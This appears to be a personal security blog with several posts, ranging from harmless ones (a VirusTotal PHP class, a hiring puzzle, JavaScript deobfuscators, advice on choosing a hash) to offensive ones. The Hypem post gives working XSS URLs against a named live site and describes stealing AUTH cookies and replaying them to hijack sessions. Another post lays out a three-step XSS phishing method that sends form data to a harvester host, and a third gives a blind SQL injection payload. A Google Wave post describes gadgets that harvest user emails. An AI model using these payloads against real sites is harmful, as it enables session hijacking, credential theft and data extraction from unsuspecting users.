VirusTotal API PHP class

So I’m about to do a project with VirusTotal integration, therefore I went to the VirusTotal site to get API access. I create a user and after some HTTP 500’s from VirusTotal I get my API key. Great, I thought. I saw there was some guy who had already made an PHP class for the API so I was excited, less work for me.

I click the link to the download and… 404’ed! DAMMIT! I start powering up my Google-foo and finally on some chinese site I get the class (which wasn’t a class). Unfortunately the exsisting thingy wasn’t that, goood. No offence to the guy who made it. I think the code is a bit old and that is properly the reason for the lack of classes.

Therefore I decided to do a new class which you can get here: https://github.com/eXeDK/VirusTotal-API-PHP-class.

Please tweet me about any bugs etc. @eXeDK

Freshplum job application puzzel thingy

This was a puzzel made by the guys at Freshplum who is hiring at the moment. Hold your horse, you need to have a Ph.D. For all of us mortals with no Ph.D. (yet, hopefully) there are no more to do than solving the puzzel they made in order for people to send in their applications.

In the bottom of the hiring page https://freshplum.com/jobs/ there is the text:

Send to: x@freshplum.com where x = the number that appears most frequently below.

And below that there’s a lot of random numbers flashing by. The code generating them is here:

   1: var x;

   2: function go(){

   3:     x = Math.floor(Math.random() * 11) + Math.floor(Math.random() * 11);

   4:     $("#number").html('<p>'+ x +'</p>');

   5:     setTimeout('go()', 100);

   6: }

   7: $(document).ready(function(){

   8:     go();

   9: })

As you see in line 3, two random numbers between 0 and 10 are added together and put into #number. So the resulting number is between 0 and 20. Calculating the most common one can be done like this:

   1: $xArray = $yArray = array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10);

   2: $resultArray = array();

   3: foreach($xArray as $x) {

   4:     foreach($yArray as $y) {

   5:         $result = $x + $y;

   6:         $resultArray[$result] = $resultArray[$result] + 1;

   7:     }

   8: }

   9: foreach ($resultArray as $key => $val) {

  10:     if ($val == max($resultArray))

  11:         echo $key;

  12: }

The result of the script you can see here: http://codepad.org/YA5fX8aC

The most common number is 10, quite obvious really but there you have it.

jjencode decoder (jjdecode)

So I’ve had a look at jjencode some time ago and today I decided to do a decoder for the bloody thing. Instead of creating an entire parser for JS I decided to trust the code a bit by evaling the code prior to the encoded part and thereby letting the browsers JS engine build up the scope for me to use afterwards.

If you have no clue what jjencode is then you can read this: http://pferrie2.tripod.com/papers/jjencode.pdf and this: http://utf-8.jp/public/20090710/jjencode.pps. And you can try it here: http://utf-8.jp/public/jjencode.html. Basicly it encoded your code into symbols only. alert(0) would be be encoded into this (with parameter g set to “_”):

 1: _=~[];
 2: _={___:++_,$$$$:(![]+"")[_],__$:++_,$_$_:(![]+"")[_],_$_:++_,$_$$:({}+"")[_],$$_$:(_[_]+"")[_],_$$:++_,$$$_:(!""+"")[_],$__:++_,$_$:++_,$$__:({}+"")[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};
 3: _.$_=(_.$_=_+"")[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+"")[_.__$])+((!_)+"")[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!""+"")[_.__$])+(_._=(!""+"")[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;
 4: _.$$=_.$+(!""+"")[_._$$]+_.__+_._+_.$+_.$$;
 5: _.$=(_.___)[_.$_][_.$_];
 6: _.$(_.$(_.$$+"\""+_.$_$_+(![]+"")[_._$_]+_.$$$_+"\\"+_.__$+_.$$_+_._$_+_.__+"("+_.___+")"+"\"")())();

I’m aware that could lead to some code execution in the decoding part but if that code is incoded it needs the full scope inorder to eval it. All non-encoded code I would be able to filter of by myself. A code which could trigger a code execution at accident at this time would be:

 1: _=~[];
 2: alert(0);
 3: _={___:++_,$$$$:(![]+"")[_],__$:++_,$_$_:(![]+"")[_],_$_:++_,$_$$:({}+"")[_],$$_$:(_[_]+"")[_],_$$:++_,$$$_:(!""+"")[_],$__:++_,$_$:++_,$$__:({}+"")[_],$$_:++_,$$$:++_,$___:++_,$__$:++_};
 4: _.$_=(_.$_=_+"")[_.$_$]+(_._$=_.$_[_.__$])+(_.$$=(_.$+"")[_.__$])+((!_)+"")[_._$$]+(_.__=_.$_[_.$$_])+(_.$=(!""+"")[_.__$])+(_._=(!""+"")[_._$_])+_.$_[_.$_$]+_.__+_._$+_.$;
 5: _.$$=_.$+(!""+"")[_._$$]+_.__+_._+_.$+_.$$;
 6: _.$=(_.___)[_.$_][_.$_];
 7: _.$(_.$(_.$$+"\""+_.$_$_+(![]+"")[_._$_]+_.$$$_+"\\"+_.__$+_.$$_+_._$_+_.__+"("+_.___+")"+"\"")())();

The alert(0) in the second line would be fired off, but then again. It’s quite easy to spot in this example. If I get some more time, I’ll go the long was in decoding this the proper way.

In the decoder I start by finding the variable name of the main object (in the encoder that’s the paramter g) hereafter I start splitting the encoded code up at all semi-colons (;) with a RegEx. Here’s the two RegExs, first the one for parameter g and then the one for splitting up the lines (text is my input of encoded code).

 1: var g = text.match(/([^=])=~\[\];/)[1];
 2: var lines = text.match(/([^;]*);/g);

With g and the lines in hand I do a loop on the lines checking for the execution part of jjencode. If it’s not found I’ll eval the line, otherwise I’ll set the variable lookAhead to true and thereby concatinating the rest of the encoded lines before pulling out the encoded code out of the execution part and running eval on the thing for it to return it’s content. More explaning comes later on. Here’s the if from the loop, I’ll just run it through.

 1: if ( ! lines[i].match(/_.\$\(_.\$\(/) && ! lookAhead) {
 2:     eval(lines[i]);
 3: } else {
 4:     lookAhead = true;
 5:     finalLine = finalLine + lines[i];
 6:
 7:     if (i == lines.length - 1) {
 8:         // _.\$\((.*)(\)\(\))
 9:         var re = new RegExp(g + '.\\$\\((.*)(\\)\\(\\))');
 10:         var reString = finalLine.match(re);
 11:         output = eval(reString[1]);
 12:     }
 13: }

Line 1 if of course the check whether the execution part of jjencode is to be found in the line. If not I’ll eval the code at line 2. Inside the else I’ll start the lookAhead since the execution part was found, I’ll concat the line to the finalLine variable. When there is no more lines to concat it will trigger the if sentence at line 7. The RegEx at line 9 vill take the return code inside the execution part and take it out to eval it and return lastly.

You can try the thing here: http://e-x-e.dk/labs/jjdecode/index.php, go have some fun and let me know if you do something smiliar. Remeber to have your console open when fooling around with this. The decoder function can be found here: http://e-x-e.dk/labs/jjdecode/assets/decoder.js and the encoder here: http://e-x-e.dk/labs/jjdecode/assets/encoder.js (the encoder is from http://utf-8.jp/public/jjencode.html).

Looking into Hypem… and some exploits

Please note that this is not in any way an attack on Hypem. All work done here is done with great love to Hypem. Hypem have been notified about the exploits before this release in order to patch these. This is more of an exercise for myself.

So the last couple of days I’ve been fooling around with Hypem, both looking into finding their mp3 files and some of the mechanics in that. Moreover I did a quick look for some simple exploits as well. I’ll present my findings starting with the mechanics of finding their mp3 files and hereafter I’ll get to some exploits and some cookie stealing/session hijacking when going over some of their javascript.

If you don’t know what Hypem are then you have been living under a rock. But, this is how they describe themself: “The Hype Machine keeps track of what music bloggers write about. We handpick a set of kickass music blogs and then present what they discuss for easy analysis, consumption and discovery. This way, your odds of stumbling into awesome music or awesome blogs are high.” - http://hypem.com/about. Their rank on Alexa can be found here: http://www.alexa.com/siteinfo/hypem.com


Finding Hypem mp3 files

So I first wanted to be able to download the awesome music from Hypem which is why I downloaded some plugin for FF in order to do so. But the plugin was bad, I had to go through every song and press download or use another plugin which messed up the naming of the files. Therefore I broke down the plugin in order to find out how they got the files in the first place.

Basicly the url of the mp3 files can be found in two ways (found the second one later on):

http://hypem.com/serve/play/[id]/[key]

http://hypem.com/serve/source/[id]/[key]

The /serve/play one will do a redirect to the mp3 file which then can be downloaded. The /serve/source one on the other hand will give you a bit of JSON data with the id of the track, the url to the mp3 and a bool final which allways seems to be true (what I’ve seen so far). The JSON for one of the tracks is shown below (You don’t need to try to download the file, the link is broken on purpose)

{
   itemid: "gmef"
   url: "http://t01a.hypem.com/sec/5e3cf3001fck75d3bb1de182b959a89b/51ed41f1/archive/614/10/1eaca15ec90abcde181efk144d146d8b.mp3"
   final: true
}

Getting this far is quite easy when being in a browser (which is maybe why there are no standalone programs that I could find) which takes care of cookies etc etc. But when I was doing my own program in C# as a program on the side I ran into a couple of problems.

I started by getting the Hypem pages after remembering to add a User-Agent in the headers of the HTTP request. Otherwise I wouldn’t get any real content. Getting the ids and keys for the URLs was next on the agenda, luckily Hypem got all of that in their source in a format like this:

trackList[document.location.href].push({
   type:'normal',
   id:'ad5sf',
   postid:'1539980',
   posturl:'http://www.themusicninja.com/folk-st-vincent-surgeon/',
   time:'265',
   ts: '1311368622',
   fav:'0',
   key: '63f38d627b20d16aad38c67cbe1ed2b6',
   imeem_id:'',
   artist:'St. Vincent',
   song:'Surgeon',
   amazon:'',
   itunes:'',
   emusic:'',
   exact_track_avail:'0'
});

So I created a function which took the input in form of a Hypem HTML source and returned a list of Track objects which all had been extracted from the source. The extraction was quite simple; select all <script> tags where trackList[document.location.href].push({ was to find in the tags innerText. Then parsing the innerText of the selected tags using a couple of RegEx’s to extract the values. Fx. extracting the key could be done using this RegEx (returning the hex value of into the group keyValue):

\skey\:\s?\'(?<keyValue>([a-fA-F0-9])*)\'\,

From there I just needed to download the files, right? Almost, since the keys are uniqe to the AUTH cookie I first had to pretend being a browser by getting a AUTH cookie on my first request to Hypem (Header Set-Cokokie was recieved from the HTTP response) and then using it in the future requests including getting the download URLs. Here you can see the Set-Cookie header recieved, we’ll come back to that later on:

Set-Cookie: AUTH=03%3Adaae3967194bfaa0232a8b0e0aa0a331%3A1311612064%3A1047226477%3A07-DK; expires=Wed, 21-Jul-2027 16:41:04 GMT; path=/; domain=hypem.com

Otherwise I would get URLs that I could’t download. This is properly made in order prevent users from sharing the /serve/* URLs or some other reason that I havn’t found yet. When getting the download URLs I used the /serve/play option then following the HTTP 302, redirecting me to the right download URL.

So if you want to create your own fun little program for surfing Hypem remember to

  • Set your User-Agent header
  • Reuse your AUTH cookie

Another fun little thing with Hypem’s HTTP headers is the header X-Hacker:

X-hacker: Hey, if you're reading this, you should drop us an email at hypem.com/contact, maybe we can work together!

Exploits and other fun investigation

While I was at it I did a quick look for things like SQLi and XSS’s. I didn’t find any SQLi’s (so far), but I did found a couple of XSS’s:

http://hypem.com/soundcloud-embed.php?set=planningtorock/sets/w-hype-machine-exclusive/s-8ev0R';alert(document.cookie);var x='
http://hypem.com/search/"><script>alert(document.cookie)</script><div class="/1/

hypem-screen1hypem-screen2

Well these I think speak for themselves. Easy to do a lot of fun with and with some of Hypem’s custom JS functions it’s even easier if you want to automate the process. Hypem godt a HUGE (~2600 lines beautified) JS file with their own functions, helpers etc. If you want to have a look for yourself it’s here (minified): http://static-ak.hypem.net/rev_1311597164/js/hype_functions_min.js. These are some of the most fun I think:

  • get_cookie(name)
  • set_cookie(name, value, expires, path, domain, secure)

You can of misuse these two functions in an XSS, using get_cookie(‘AUTH’) (or just document.cookie) and send it to your own server for later use. Then XSS yourself and using the set_cookie(…) function to easily set the AUTH cookie. The path, domain etc. you could find in the Set-Cookie header gotten earlier. Mind that the expires variable indicates how many days from the current time the cookie should be set, you can really set it to whatever. An example use of set_cookie(…):

set_cookie('AUTH', '03:32ceca302374836fd91f11eb76e0bad9:1311506102:1047226477:07-DK', 10, 'hypem.com', '/', false);

Fixing the XSS’s is rather trivial, escape the strings properly in taking into account where the strings are being echoed and then that’s that. No more XSS and no more session hijacking.

I full list of functions you have here:

function set_ad_vars()
function dfp_extras_var_passthru()
function dfp_extras_passback(country)
function refresh_user_menu()
function page_url_state_init()
function load_url(url, action_src)
function check_hash_change()
function rewrite_links()
function get_cookie(name)
function set_cookie(name, value, expires, path, domain, secure)
function get_visitorid_from_cookie()
function hide_notice(cookie_key)
function set_site_queue(queueItems)
function get_site_queue()
function getQueryVariable(variable)
function load_search()
function urlencode_kinda(str)
function load_random_search(forced)
function load_random_track()
function trim(str)
function get_unix_time()
function sec_to_str(nSec)
function toggleLayer(whichLayer)
function getOffX(o)
function sm_onload()
function sm_onplay()
function sm_onresume()
function sm_onpause()
function sm_onfinish()
function sm_whileplaying()
function sm_whileloading()
function sm_start_drag(evt)
function sm_follow_volume_drag(evt)
function sm_follow_progress_drag(evt)
function sm_end_drag(evt)
function sm_update_volume(evt, t_elt, morph)
function sm_update_progress(evt, t_elt)
function sm_toggle_mute()
function loadNextTrack(skip)
function retryLoadTrack()
function beginFadeTransition()
function fadeInSound(soundObj, amount, ms_delay)
function fadeOutSound(soundObj, amount, ms_delay)
function is_fade_enabled()
function is_html5_history_compat()
function update_current_play_ctrl(mode)
function togglePlayByItemid(itemid, evt)
function is_spy_page()
function is_shuffle_page()
function togglePlaySimple()
function togglePlay(id, evt)
function stopTrack()
function playTrack(skip_prompts)
function nextTrack(clicked_obj)
function prevTrack(clicked_obj)
function set_track_bg(fileid, color)
function set_now_playing_info()
function toggle_favorite(type, id, gray, skip_prompt)
function show_all_tracks(elt)
function show_buy(pos)
function expand_hyped(list_parent)
function enable_notification_check()
function check_notification()
function disable_notification_check()
function enable_playback_check()
function playback_check()
function disable_playback_check()
function toggle_item_activity(type, fileid, page)
function update_item_activity(type, fileid, page)
function load_item_activity(type, id, pos, page)
function toggle_item_graph(id, force, pos)
function load_item_graph(id)
function show_sidebar_info(uid, method, section)
function set_nav_item_active(eltid)
function setup_player_bar()
function hide_player_bar()
function show_player_bar()
function blog_search()
function blog_search_keyup()
function blog_directory_switch(tab)
function radio_update()
function load_gs_player(pos, gs_id)
function next_review(pos)
function prev_review(pos)
function show_review(pos)
function updateUrl(value)
function checkEmail()
function create_account(type, id, form_type)
function user_login(type, id)
function post_login(type, id)
function post_username_change()
function cancel_iframe_dialog(redir_to)
function checkPw()
function change_password(old_pw, newpw, key)
function change_username(pw, new_username)
function change_email(pw, email)
function user_logout()
function user_forgot()
function display_twitter_score()
function save_location()
function UploadToS3()
function lightbox_close_handler(lightbox_url)
function contact_show_tips()
function save_account()
function request_confirmation()
function unlink_twitter()
function save_twitter()
function unlink_lastfm()
function save_lastfm()
function show_lightbox(type, url, arg1)

Also there is the wonderful function debug(q, w, e, r) defined like this:

window.debug = function(q, w, e, r) {
    if (!document.location.href.match(/dev.hypem.com/)) {
        return false;
    }
    try {
        if (typeof console != 'undefined') {
            console.log.apply(console, arguments);
        }
    } catch(err) {
        if (typeof console != 'undefined') {
            console.log(q, w, e, r);
        }
    }
};

This function is great, if you are a dev or someone interested in get a deeper look at the inside of Hypem. Unfortunately I’m not a Hypem dev (hint, hint) and the dev.hypem.com requires username/password, so I’ll just redefine the function with this:

function debug(q,w,e,r){
    if (do_debug==false) {
        return true;
    }
    try{
        if(typeof console!='undefined'){
            console.log.apply(console,arguments);
        }
    } catch(err){
        if(typeof console!='undefined'){
            console.log(q,w,e,r);
        }
    }
}

I introduced the variable do_debug, a bool enabling the debug in the console. You should really take a look at the debug messages, a lot of fun stuff to see actually.

Needless to say there are a lot of fun XHR requests going on at all times on Hypem which you’ll find out when debugging the site and looking at the XHR requests. Logging action, radio fun etc. etc. etc. All of this is kind of expected with a site like Hypem where almost all of the stuff is happening via AJAX in order to keep the music playing.

The site also got a bit of fun variables when being logged in and logged out. Without going into depth with all of them here’s the list:

var trackList = {};
var activeList = document.location.href;
var currentTrack = 0;
var currentPlayerObj = Array();
var activeItem;
var currentUrl;
var prevUrl;
var is_logged_in;
var logged_in_username;
var playback_allowed;
var dragging_position = false;
var dragging_x;
var isReady = 0;
var playerStatus = "";
var playerDisplayed = "normal";
var playback_event_timeout = 0;
var playback_event_count = 0;
var playback_manual = 0;
var player_position;
var player_duration;
var player_volume = 50;
var page_updater;
var notificationTimeout = 0;
var updateSpy = 1;
var album_rs = Array();
var album_r_curr = Array();
var autosearch_blogs;
var radio_timeout = 0;
var radio_now_fileid = 0;
var radio_now_data = {};
var radio_counter = 0;
var radio_notificationTimeout = 0;
var master_ord;
var master_passback;
var ad_feedback_code;
var ad_feedback_position;

I think all of the variable names makes so much sense that I don’t want to explain what each of them do, you’ll have to have fun with that yourself.


Domains, servers etc. etc.

Here’s just a little bit of info from a quick look at the server, domains and subdomains at Hypem. Not that interesting but there you have it.

Hypem.com is hosted at 205.251.139.43 (US) together with 2 other domains: buymusic.org and hypem.mobi. Properly a VPS for their main stuff I guess. 5 DNS servers from dnsmadeeasy.com used, some load balancing there also. (http://www.robtex.com/dns/hypem.com.html, http://toolbar.netcraft.com/site_report?url=http://hypem.com)

The subdomain dev.hypem.com is hosted at 205.251.142.11 (US). No sharing on that server, properly just an isolated test server for lulz. (http://www.robtex.com/dns/dev.hypem.com.html).

Subdomain blog.hypem.com is over at 69.163.207.2 (US). Sharing the IP with a couple of weird domains besides from thehypemachine.net.

Hypem uses a S3 bucket for their users profile pictures, that’s here: http://faces-s3.hypem.com/.

Furthermore they got (maybe) 8 servers for hosting their mp3 files at http://t01a.hypem.com/ –> http://t08a.hypem.com/. There are other hosting servers also I’m sure, maybe some soundcloud thingy.

 

I think that’s it for now, I’m going to beeed.

Oh look what I did: a simple Javascript deobfuscator in PHP

So I’ve got this assignment the other day, some Javascript which were obfuscated in an annoying but rather traditional way (seems like it was some variant of Koobface). All of the strings were encoded into hex and saved into a huge array in order to make it harder to analyse by security people like myself. So decoded the array and started doing a couple of functions myself. Then I got tired and felt that there were a smarter way doing this. So there were…

I started doing a fun regex for getting the large blobs of strings used to obfuscate a lot of the actions in the scripts:

/var ([_0-9a-zA-Z]*).?=.?\[([\"a-zA-Z0-9,\\\\]*)\]/

After obtaining this variable I split up the array and decode the values, building up the array for later use.

From there I take the input file (fx. Koobface) and let the code replace the obfuscated parts of the input with the decoded values from the blob of strings extracted.  After that I do a bit to beautify the code, but if you don’t really like it I recommend: http://jsbeautifier.org/. (You can disable the beautify bit by setting the third parameter of replaceDisassembleVars to false).

The code is split up in a couple of main functions with a couple of helper functions. No fancy classes etc at this point but it’ll maybe come later if I get to do some more work on this.

First get the input loaded to a variable fx. with file_get_contents($filePath). Hereafter you get the array extracted from the script with the getDisassembleVars($input). From there you get the deobfuscated script with replaceDisassembleVars($input, $disassembleVars, $beautify = true) which you then can echo.

The code can be downloaded here together with a couple of variants of Koobface in input_1.txt and input_2.txt. Password to the zip is “infected”: http://e-x-e.dk/stuff/js_deobfuscator.zip.

Blind SQli considerations and some development

Sooo hi! I hope you have a great summer so far. I finally got of from school so now I got time to do some more fun security stuff. I’ll start by talking about some SQLi things I' did today after reading a couple of papers/posts some time ago.

Faster blind MySQL injection using bit shifting

The first post I want to tie some thoughts to is the one by Jelmer De Hen (http://h.ackack.net/faster-blind-mysql-injection-using-bit-shifting.html). He came up with a method for blind SQLi using bit shifting, pretty clever, I really enjoyed that post for a couple of reasons:

  • First of all this method gets rid of the normal and very request-heavy method where you basicly takes a character at a time and tries requests like: “substr(user(), 1, 1) = ‘a’”, then “substr(user(), 1, 1) = ‘b’” etc. or by taking the ascii value of the character and then checking if it’s higher or lower than some value (and then using simple binary search)
  • Secondly the method Jelmer came up with uses only 8 requests per  character (assuming that not just ascii characters is the target).

But this method have some annoying features as well (when doing it manually), fx. the fact that you’ll have to a lot of binary –> decimal convertions (when using Jelmers exact method) which I for one find rather trivial but still time consuming. Furthermore when it comes to filter evasion this method is reliant on the shifting operator “>>” which I see as a disadvantage as well when evading simple filters (eventhough those could maybe still be evading using diffent encodings)

Blind Sql Injection with Regular Expressions Attack

This is a paper done by IHTeam (http://www.ihteam.net/papers/blind-sqli-regexp-attack.pdf) which uses regular expressions for blind SQLi which turns out to be pretty handy. They also uses some time on time attacks but I find that description trivial and will be for the reader it self to read.

So basicly the IHTeam uses regular expressions to do almost the same thing as the standard method with checking a characters ascii value and then using a binary search for getting the character. The thing I like with this method is that it’s very easy to see what you’ve found so far (take a look at the examples on page 5-6). But the method also got some pretty big disadvantages I think. It’s easy to find a letter or number using binary search on a regex range (a-z, A-Z, 0-9), but it’s not really as easy to find a special character like “!” or some UTF-8 character like “å” since there are no regex ranges for that kind of characters.

Furthermore the amount of requests of used by this method can end up being quite big if the character needed to find is not within the above commented ranges.

Therefore I find the regex method not as relevant for value extracting. But I see another use for it, more clever ways for locating data in a great dataset where a simple “=” or “LIKE” is sufficient. 

Blind SQLi using binary attributes and an and

So what I did today is a bit of a development on some of Jelmers stuff and a bit of my own thinking lately. I for some time have been enjoying the use of binary stuff in SQLi, which is also why I like the method Jelmer came up with. But as stated above there are some disadvangtes I would like to avoid.

First of all, the use of “&” in SQLi I think is really been overlooked. Maybe because of the fact that “&” is not allowed directly in querystings since it’s used as the delimiter. Nevertheless it’s still rather handy since it in SQL is used as the binary “AND” operator. The operator like any other AND operator got the property and 1 AND 1 is true and all other combinations are false. Futhermore the “&” operator got the property that it don’t need whitespace characters sourounding it for it function. “&” and be squeezed together like “1&1”. So just by url encode “&” it’s “allowed” in the querystring, so in a page with a blind SQLi “1%261” would return true (“1%260” would of course return false). The use of the binary and I’ll get back to.

Take a look at “bin(ascii('e'))” it’ll return the binary representation of “e” (1100101). Using this feature together with substr you can get the binary representation of each character in fx. user() like so: “bin(ascii(substr(user(),1,1)))”. But there’s still a bit of a problem, this is a blind SQLi so if we do a substr on the binary representation of the character we get: “substr(bin(ascii(substr(user(),1,1))),1,1)” which will return only “1” or “0”. This gives us a attack vector like: “id=1%26substr(bin(ascii(substr(user(),1,1))),1,1)—“ given that “1” is a valid id. I added “—“ at the end just for the sake of it. Now we can cycle through the bits of each character using the outer substr and cycle through the characters using the innner substr.

The vector not care whether the character is a number, letter, special character in ascii or an UTF-8 character. Just like the Jelmer method, but without the hazzel of converting the binary back to decimal before each request.

You should have gotten the idea by now. It’s easy and quick to get each character, if you do more with it let me know.

I know this can be improved, fx. by taking account for the length of each character you can save even more requests since some characters will only require 6 (the low ascii ones) requests while some will require 8 (UTF-8 ones).

Have a great summer, more will come!

Feels like.. ehhmm

So I suddenly got into a writing mood? But what should I concentrate on?

On the fact that I can’t concentrate enough or that my mind is filled with brilliant thoughts but with too little time to do any of them. I hopefully will have some time to do a lot of these things as soon as I’m finished with this semester’s project at uni.

My life is filled with wonderful people, absolutely brilliant and lovely people but it seems like that my tend to focus on something specific topic also extends to people. I tends to talk to some people for a while, while “forgetting” other people at the same time.

I seem to again and yet again surprise myself when it comes to my stubbornness regarding problem-solving in my life. But I find that this strength (as I look at it) also is a weakness – a great weakness. When you focus so intensely on a problem you tend to forget the problem you started. You forget that the problem properly can be solved in other and better ways that the one you are trying to do now!

So now, look at your problem, now look at what you are trying to do – and now… think! Can’t this been done in a more intelligent way? Are you doing something you don’t even have to – just for the fun of it.

 

Yes – I know that this post was completely random and really.. It’s fine, because now I’m writing again. I’ll properly soon tell you something about the Danish computer security reality and how a good friend of mine can’t get a job because he’s too smart (H you know it’s you! Winking smile)

How to phish the effective and smart way using XSS

Normally if you wish to phish a user for information like passwords, emails, social security numbers, credit card numbers or what not and you’re exploiting some website with a bug in its handling of user content (either from a database or from the GET data) (Please note that POST XSS exploits isn’t really easy to exploit since you’ll have to make the user POST the data him/herself) you normally would like to send the user to your own phishing page where you have copied the compromised sites design, CSS etc. 

Please note that when phishing by exploiting an unprotected frame which gets its content URL from a GET querystring (RFI) you’ll have to either copy the CSS etc to your own site or simply link to the sites own CSS files.

Moving on to the topic of this post, exploiting XSS vulnerabilities to phish the attacked users, of course without the users having a clue.

One of the methods which I don’t see get exploited is the JavaScript call “document.formName.action=’http://your-harvester-site.com/exploitingAction.php’”.

With the code above it’s possible to create a man-in-the-middle kind of attack where you can either just choose to log the information of the form or you can choose to tamper with the information before posting the data to the original action.

It can be done with this 3 step attack:

1. step: Inject the forms of a XSS exploitable page, e.g. with a script like this: http://www.e-x-e.dk/labs/autoPhisher/injector.js. A super simple yet effective script I’ll be using for this PoC.

2. step: Receive the form data, log it/tamper it and send the victim back to the original site with a new exploited URL injected with a “pusher”. This script could be done like this:

http://www.e-x-e.dk/labs/autoPhisher/source/index.php

This script is using a subclass of the abstract class TopLoader I’m using, it just has some basic functions for getting, setting, saving, deleting etc.

The last part of the script is computing a new pusher-injected URL to which the victim will be sent.

3. step: Let the pusher to its job

Since we cannot do a POST call for the victim to the original action serverside through PHP, we’ll have to make the browser do it for us through JavaScript.

The pusher script generates some JavaScript which is started when the is window.onload(). It tries to set the value of the form elements from the original form submit by the victim with getElementById. If the element is not found by this method it’ll try to set the value via the getElementsByName. Last but not least it auto submits the correct form with document.forms[{form ID}].submit(). The generator script is here:

http://www.e-x-e.dk/labs/autoPhisher/source/pusher.php

Here a place you can test this thing out:

http://www.doid.dk/page/main.asp?error=timeout&referer=%22%3E%3Cscript%20src=http://www.e-x-e.dk/labs/autoPhisher/injector.js%3E%3C/script%3E

Example user / password: testerLars / testerLars

Let me know what you think by making some comments and maybe leaving some more usage examples.

Choosing hash method in PHP

So the other day I wondered the consequences when choosing one hashing method over another when it comes to security. If we say that some hacker has got a hold of your (of course!) encrypted fx passwords then what will it matter that you choose a unbroken, uncommon and maybe slower encryption method?

Speed

I started with some benchmarking: http://e-x-e.dk/labs/timing/ (source: http://www.e-x-e.dk/labs/timing/source.php).

This basically creates 10000 random strings with a length of 50 and then encrypting all of these random strings with all of the hashing methods of my php installation’s disposal. This outputs a sorted list of the methods. The consequents of choosing fx a slow hashing method means that you’ll have a bit more load on your server since speed == load. But then again, choosing a slow hashing method will also mean a slower bruteforce for the hacker – buying your users (or you) more time to change their passwords and you closing the hole. But you’ll have to remember that where your bigger load/increased hashing-time caused by the slower hashing method is spread out the bruteforcers isn’t. So it’ll be a bigger hit to the bruteforcer than it will be to you.

Common vs. uncommon method

When choosing a hashing method it can also be a benefit from my point of view to choose a less common method for hashing your password/information if you have the option. And the argument is quite simple I think. With common methods like md5 which is used by the majority of sites today there are already constructed huge (HUGE) rainbow tables etc. (http://www.freerainbowtables.com/da/tables/md5/). Therefore by choosing a common hashing method you are also decreasing it effectiveness since a lot of the string combinations have already been computed.

Choosing a more uncommon hashing method will get rid of this problem, but then again, this maybe result in a slower computing of the hash as well, and for some – that’s a problem. By choosing a fx a tiger(2), SHA-1 or SHA-512 hash over fx. md5 you would decrease the effectiveness/speed of the bruteforce.

Hash method attacks

The effectiveness of a hash method is of course also influenced by if it has been fx collision attacked (http://en.wikipedia.org/wiki/Collision_attack) or a preimage attack (http://en.wikipedia.org/wiki/Preimage_attack). Therefore you should also have this in your considerations when choosing a hashing method for your site.

Other things to consider

Things like salting your passwords etc etc is naturally also a good idea (maybe even with some HUGE salts, to ensure the length of the password extends the typical length of passwords and thereby setting the rainbow tables out of play). Some of these considerations might come in a later post.

I think there a lot fo pros and cons in this matter but as a general conclusion I think it’s time for the use of some more uncommon hashing methods in order to strengthen the security of information if hashed information is compromised. What do you think is the best hashing method to use and why?

Hacking Google Wave (XSS, XSSR)

The last couple of days I’ve been fooling around with Google Wave and it’s so called “Gadgets”. In relation to this I  couldn’t help trying out some simple XSS and XSSR techniques which I’ll now show you and hopefully the Google Wave developers so they can secure the Gadgets – creating a even better product. These gadget tests was made in the Google Wave preview and not in the Sandbox because I’m still waiting for being granted access to the Sandbox. When I acquire access to the Sandbox I’ll follow up on this blogpost. Lets get started with the fun shall we? :)

So  I started with stealing a basic example, cleaned it down, leaving only the raw gadget. From there I used the “gadgets.util.registerOnLoadHandler(init);” functionality to load potentially malicious code onLoad of the Gadget. This can be used to prompt the viewer of the Gadget for eg. login information. The normal trusting user wouldn’t suspect this risk since it was prompted by Google Wave, right? ;)

Passing on I’ve created a couple of buttons in the Gadget which called a couple of Javascript function which did a couple of different things, one simple alerted the user, just to show that you could do anything.

One button changed window.top.location, sending the user to a completely other site, away from the “protecting” environment of Google Wave.

One button got the viewers Google Wave ID (an email), his/hers display name and his/hers thumbnail url. This could maybe be used to created fake accounts on websites, compromising the viewers exclusive use of his/hers email. Of course the email could also be harvested and sold to spamming bad guys with a lot of “Great deals on Viagra”. ;)

The last button I created in this little Gadget example did also change the window.top.location but this time not to an url but instead to some data:text/html – base64 encoded. This could be used to show ads or propaganda to the viewer without a possibility to block a specific url, since this was content defined in the Gadget’s code itself.

This is what I’ve been doing the last day or two :) I have you read this and spread the word and of course leave a comment or a trackback. As said I’ll be back with more Google Wave security when I get access to the Sandbox :)

My Gadget can be viewed and tested at this URL:

http://e-x-e.dk/labs/waveHack/hack1.xml

Or you can just watch the screenshots:
Vis Google Wave hack

Go back to top